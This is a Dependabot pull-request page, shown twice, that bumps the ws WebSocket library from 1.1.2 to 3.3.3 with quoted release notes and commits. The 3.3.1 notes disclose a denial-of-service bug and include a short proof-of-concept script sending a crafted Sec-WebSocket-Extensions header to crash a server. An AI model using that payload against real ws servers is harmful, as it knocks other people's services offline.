Release notes
*Sourced from [ws's releases](https://github.com/websockets/ws/releases).*
> ## 3.3.3
> # Bug fixes
>
> - `net.Socket` errors are no longer swallowed (beff620).
> - The status code and close reason are now always taken from the close frame if
> received (beff620).
>
> ## 3.3.2
> # Bug fixes
>
> - The parser of the `Sec-WebSocket-Extensions` header has been rewritten to make
> it spec-compliant ([#1240](https://github-redirect.dependabot.com/websockets/ws/issues/1240)).
>
> ## 3.3.1
> # Bug fixes
>
> - Fixed a DoS vulnerability (c4fe466).
>
> A specially crafted value of the `Sec-WebSocket-Extensions` header that
> used `Object.prototype` property names as extension or parameter names
> could be used to make a ws server crash.
>
> ```js
> const WebSocket = require('ws');
> const net = require('net');
>
> const wss = new WebSocket.Server({ port: 3000 }, function () {
> const payload = 'constructor'; // or ',;constructor'
>
> const request = [
> 'GET / HTTP/1.1',
> 'Connection: Upgrade',
> 'Sec-WebSocket-Key: test',
> 'Sec-WebSocket-Version: 8',
> `Sec-WebSocket-Extensions: ${payload}`,
> 'Upgrade: websocket',
> '\r\n'
> ].join('\r\n');
>
> const socket = net.connect(3000, function () {
> socket.resume();
> socket.write(request);
> });
> });
> ```
>
> The vulnerability has been privately reported by Nick Starke and
> Ryan Knell of Sonatype Security Research and promptly fixed. Please
> update now!
>
> ... (truncated)
Commits
- [`157f58a`](https://github.com/websockets/ws/commit/157f58a73250674eb57c505a522c7e5fe5fb3bee) [dist] 3.3.3
- [`6a6ae04`](https://github.com/websockets/ws/commit/6a6ae04ef3514e2f8b1b0890649523d59dcf27f4) [minor] Send the close status code only when necessary
- [`85919f2`](https://github.com/websockets/ws/commit/85919f2d11ad7fc0aa3bc20c9f35b4737fdc37e3) [doc] Remove duplicate 'is' ([#1252](https://github-redirect.dependabot.com/websockets/ws/issues/1252))
- [`beff620`](https://github.com/websockets/ws/commit/beff62081d5591c4f1beb9a3993b24ea7473d792) [fix] Use status code from close frame if received
- [`ae903b1`](https://github.com/websockets/ws/commit/ae903b1ab2d2f0a9e1b41e849317977e49dcf789) [doc] Fix rendering of history in SECURITY.md ([#1250](https://github-redirect.dependabot.com/websockets/ws/issues/1250))
- [`ca76e58`](https://github.com/websockets/ws/commit/ca76e58f4a969618319e1993e3072f406679cde9) chore(package): update eslint to version 4.13.0 ([#1249](https://github-redirect.dependabot.com/websockets/ws/issues/1249))
- [`f6e5685`](https://github.com/websockets/ws/commit/f6e56855ab213510ab058b1171cffba3dce0f701) chore(package): update utf-8-validate to version 4.0.0 ([#1247](https://github-redirect.dependabot.com/websockets/ws/issues/1247))
- [`b3bc7db`](https://github.com/websockets/ws/commit/b3bc7dbb881605e1717baf6d99220c1a6c3bb280) [minor] Do not set `allowHalfOpen` to `false`
- [`a166af4`](https://github.com/websockets/ws/commit/a166af4c50ab7092c0bc64c42579ed2c34b49cc5) [test] Skip `family` test if localhost doesn't resolve to ::1 ([#1246](https://github-redirect.dependabot.com/websockets/ws/issues/1246))
- [`009d05c`](https://github.com/websockets/ws/commit/009d05c4384b5fe4762decaa6e37592d8885fafe) [test] Mark skipped tests as pending
- Additional commits viewable in [compare view](https://github.com/websockets/ws/compare/1.1.2...3.3.3)
Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
- `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language
- `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language
- `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language
- `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language
You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/avih75/TFS_Action_Button/network/alerts).
avih75
commented
4 years ago
Bumps ws from 1.1.2 to 3.3.3.
Release notes
*Sourced from [ws's releases](https://github.com/websockets/ws/releases).* > ## 3.3.3 > # Bug fixes > > - `net.Socket` errors are no longer swallowed (beff620). > - The status code and close reason are now always taken from the close frame if > received (beff620). > > ## 3.3.2 > # Bug fixes > > - The parser of the `Sec-WebSocket-Extensions` header has been rewritten to make > it spec-compliant ([#1240](https://github-redirect.dependabot.com/websockets/ws/issues/1240)). > > ## 3.3.1 > # Bug fixes > > - Fixed a DoS vulnerability (c4fe466). > > A specially crafted value of the `Sec-WebSocket-Extensions` header that > used `Object.prototype` property names as extension or parameter names > could be used to make a ws server crash. > > ```js > const WebSocket = require('ws'); > const net = require('net'); > > const wss = new WebSocket.Server({ port: 3000 }, function () { > const payload = 'constructor'; // or ',;constructor' > > const request = [ > 'GET / HTTP/1.1', > 'Connection: Upgrade', > 'Sec-WebSocket-Key: test', > 'Sec-WebSocket-Version: 8', > `Sec-WebSocket-Extensions: ${payload}`, > 'Upgrade: websocket', > '\r\n' > ].join('\r\n'); > > const socket = net.connect(3000, function () { > socket.resume(); > socket.write(request); > }); > }); > ``` > > The vulnerability has been privately reported by Nick Starke and > Ryan Knell of Sonatype Security Research and promptly fixed. Please > update now! > > ... (truncated)Commits
- [`157f58a`](https://github.com/websockets/ws/commit/157f58a73250674eb57c505a522c7e5fe5fb3bee) [dist] 3.3.3 - [`6a6ae04`](https://github.com/websockets/ws/commit/6a6ae04ef3514e2f8b1b0890649523d59dcf27f4) [minor] Send the close status code only when necessary - [`85919f2`](https://github.com/websockets/ws/commit/85919f2d11ad7fc0aa3bc20c9f35b4737fdc37e3) [doc] Remove duplicate 'is' ([#1252](https://github-redirect.dependabot.com/websockets/ws/issues/1252)) - [`beff620`](https://github.com/websockets/ws/commit/beff62081d5591c4f1beb9a3993b24ea7473d792) [fix] Use status code from close frame if received - [`ae903b1`](https://github.com/websockets/ws/commit/ae903b1ab2d2f0a9e1b41e849317977e49dcf789) [doc] Fix rendering of history in SECURITY.md ([#1250](https://github-redirect.dependabot.com/websockets/ws/issues/1250)) - [`ca76e58`](https://github.com/websockets/ws/commit/ca76e58f4a969618319e1993e3072f406679cde9) chore(package): update eslint to version 4.13.0 ([#1249](https://github-redirect.dependabot.com/websockets/ws/issues/1249)) - [`f6e5685`](https://github.com/websockets/ws/commit/f6e56855ab213510ab058b1171cffba3dce0f701) chore(package): update utf-8-validate to version 4.0.0 ([#1247](https://github-redirect.dependabot.com/websockets/ws/issues/1247)) - [`b3bc7db`](https://github.com/websockets/ws/commit/b3bc7dbb881605e1717baf6d99220c1a6c3bb280) [minor] Do not set `allowHalfOpen` to `false` - [`a166af4`](https://github.com/websockets/ws/commit/a166af4c50ab7092c0bc64c42579ed2c34b49cc5) [test] Skip `family` test if localhost doesn't resolve to ::1 ([#1246](https://github-redirect.dependabot.com/websockets/ws/issues/1246)) - [`009d05c`](https://github.com/websockets/ws/commit/009d05c4384b5fe4762decaa6e37592d8885fafe) [test] Mark skipped tests as pending - Additional commits viewable in [compare view](https://github.com/websockets/ws/compare/1.1.2...3.3.3)Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) - `@dependabot use these labels` will set the current labels as the default for future PRs for this repo and language - `@dependabot use these reviewers` will set the current reviewers as the default for future PRs for this repo and language - `@dependabot use these assignees` will set the current assignees as the default for future PRs for this repo and language - `@dependabot use this milestone` will set the current milestone as the default for future PRs for this repo and language You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/avih75/TFS_Action_Button/network/alerts).